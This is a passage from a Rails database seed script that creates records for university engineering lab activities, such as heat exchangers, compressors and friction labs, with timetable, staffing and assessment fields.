$ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a183.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a183.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a184 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"502\").first_or_create!(name: \"Heat Exchangers\",\n name_abrv: \"HEAT_EX\", archived: false, in_drive: false, user_id: 5)\n at184 = ActivityTimetable.where(activity_id: a184.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a184.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a184.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a184.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a184.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a184.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a185 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR305\").first.id, code: \"502\").first_or_create!(name: \"Heat Exchangers\",\n name_abrv: \"HEAT_EX\", archived: false, in_drive: false, user_id: 1)\n at185 = ActivityTimetable.where(activity_id: a185.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a185.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a185.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a185.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a185.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a185.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a186 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"503\").first_or_create!(name: \"2nd law\",\n name_abrv: \"2NDLAW\", archived: false, in_drive: true, user_id: 1)\n at186 = ActivityTimetable.where(activity_id: a186.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a186.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a186.id).first_or_create!(criteria: \"\",\n job_desc:\"Lab on the most important law in engineering the 2nd law - actually heat exchangers and compressors.\n Three sessions to run.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a186.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a186.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a186.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a187 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC6448\").first.id, code: \"504\").first_or_create!(name: \"Acoustics\",\n name_abrv: \"ACOUSTICS\", archived: true, in_drive: true, user_id: 2)\n at187 = ActivityTimetable.where(activity_id: a187.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 8, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a187.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a187.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a187.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a187.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a187.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a188 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE180\").first.id, code: \"505\").first_or_create!(name: \"Boiling and Condensing\",\n name_abrv: \"BOILING\", archived: false, in_drive: true, user_id: 2)\n at188 = ActivityTimetable.where(activity_id: a188.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a188.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jbcxj2k\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a188.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration, training provided, no marking. Demonstrate labs on both boiling and condesing. Both are complex but the lab is mainly about observing the process taking place.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a188.id).first_or_create!(assess_weight: nil, notes: \"Pre and Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a188.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a188.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a190 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC326\").first.id, code: \"506\").first_or_create!(name: \"Cantilever Beam\",\n name_abrv: \"CANTBEAM\", archived: false, in_drive: true, user_id: 2)\n at190 = ActivityTimetable.where(activity_id: a190.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a190.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a190.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a190.id).first_or_create!(assess_weight: nil, notes: \"No assessment\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a190.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a190.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a191 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC327\").first.id, code: \"506\").first_or_create!(name: \"Cantilever Beam\",\n name_abrv: \"CANTILEVER\", archived: false, in_drive: true, user_id: 3)\n at191 = ActivityTimetable.where(activity_id: a191.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a191.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a191.id).first_or_create!(criteria: \"\",\n job_desc:\"GTA's selected by department - email from RW 29/01/2019\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a191.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a191.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a191.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a192 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"506\").first_or_create!(name: \"Cantilever Beam\",\n name_abrv: \"CANTILEVER\", archived: false, in_drive: true, user_id: 5)\n at192 = ActivityTimetable.where(activity_id: a192.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a192.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a192.id).first_or_create!(criteria: \"GTAs should have an understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Students traverses a pitot tube across the working section of a wind tunnel and, with t digital pressure gauge, determine the boundary layer thickness.\n\n 2018-19: GTAs selected by dpt email from RW 29/01/2019\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a192.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a192.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a192.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a193 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"512\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: false, in_drive: false, user_id: 4)\n at193 = ActivityTimetable.where(activity_id: a193.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a193.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a193.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a193.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a193.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a193.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a194 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"unknowncode5\").first_or_create!(name: \"Compressors 1st Law\",\n name_abrv: \"COMP1STLAW\", archived: false, in_drive: true, user_id: 1)\n at194 = ActivityTimetable.where(activity_id: a194.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a194.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a194.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - compressors, training provided. No lab marking. Measure and evaluate the performance of a compressor using the first law of themrodynamics. Determine the polytropic constant. Measure the performance of compressor. Find how compressor performance changes with operating conditions. Revise thermodynamic theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a194.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a194.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a194.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a195 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"508\").first_or_create!(name: \"Compressors 2nd Law\",\n name_abrv: \"COMP2NDLAW\", archived: false, in_drive: true, user_id: 4)\n at195 = ActivityTimetable.where(activity_id: a195.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a195.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a195.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a195.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a195.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a195.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a196 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"508\").first_or_create!(name: \"Compressors 2nd Law\",\n name_abrv: \"COMP2NDLAW\", archived: false, in_drive: true, user_id: 2)\n at196 = ActivityTimetable.where(activity_id: a196.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a196.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a196.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - compressors, training provided. No lab marking. Measure and evaluate the performance of a compressor using the first law of themrodynamics. Measure the performance of compressor. Find how compressor performance changes with operating conditions. Determine the isentropic efficiency. Revise thermodynamic theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a196.id).first_or_create!(assess_weight: 5.0, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a196.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a196.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a197 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"508\").first_or_create!(name: \"Compressors 2nd Law\",\n name_abrv: \"COMP2NDLAW\", archived: false, in_drive: true, user_id: 5)\n at197 = ActivityTimetable.where(activity_id: a197.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a197.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a197.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a197.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a197.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a197.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a198 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR333\").first.id, code: \"509\").first_or_create!(name: \"Coupon Test\",\n name_abrv: \"COUPTEST\", archived: true, in_drive: true, user_id: 4)\n at198 = ActivityTimetable.where(activity_id: a198.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a198.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a198.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a198.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a198.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a198.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a199 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"509\").first_or_create!(name: \"Coupon Test\",\n name_abrv: \"COUPTEST\", archived: false, in_drive: false, user_id: 3)\n at199 = ActivityTimetable.where(activity_id: a199.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"See RW\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a199.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a199.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a199.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a199.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a199.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a200 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"510\").first_or_create!(name: \"Cross Flow Heat Transfer\",\n name_abrv: \"CROSSFHT\", archived: false, in_drive: false, user_id: 4)\n at200 = ActivityTimetable.where(activity_id: a200.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at200.id, room_id: $room_fl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a200.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a200.id).first_or_create!(criteria: \"Expertise in heat transfer desirable.\",\n job_desc:\"Measuring convective heat transfer in an external flow using dimensionless numbers.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a200.id).first_or_create!(assess_weight: nil, notes: \"Not assessed 18/19\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a200.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a200.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a201 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC203\").first.id, code: \"510\").first_or_create!(name: \"Cross Flow Heat Transfer\",\n name_abrv: \"CROSSFHT\", archived: false, in_drive: false, user_id: 3)\n at201 = ActivityTimetable.where(activity_id: a201.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a201.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a201.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a201.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a201.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a201.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a202 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"511\").first_or_create!(name: \"Diffusers\",\n name_abrv: \"DIFFUSERS\", archived: false, in_drive: false, user_id: 5)\n at202 = ActivityTimetable.where(activity_id: a202.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at202.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a202.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/j42pak3\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a202.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a202.id).first_or_create!(assess_weight: nil, notes: \"Not assessed MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a202.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a202.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a203 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"512\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: true, in_drive: false, user_id: 5)\n at203 = ActivityTimetable.where(activity_id: a203.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a203.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a203.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a203.id).first_or_create!(assess_weight: nil, notes: \"labs formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a203.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a203.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a204 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR134\").first.id, code: \"512\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: true, in_drive: false, user_id: 1)\n at204 = ActivityTimetable.where(activity_id: a204.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a204.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a204.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 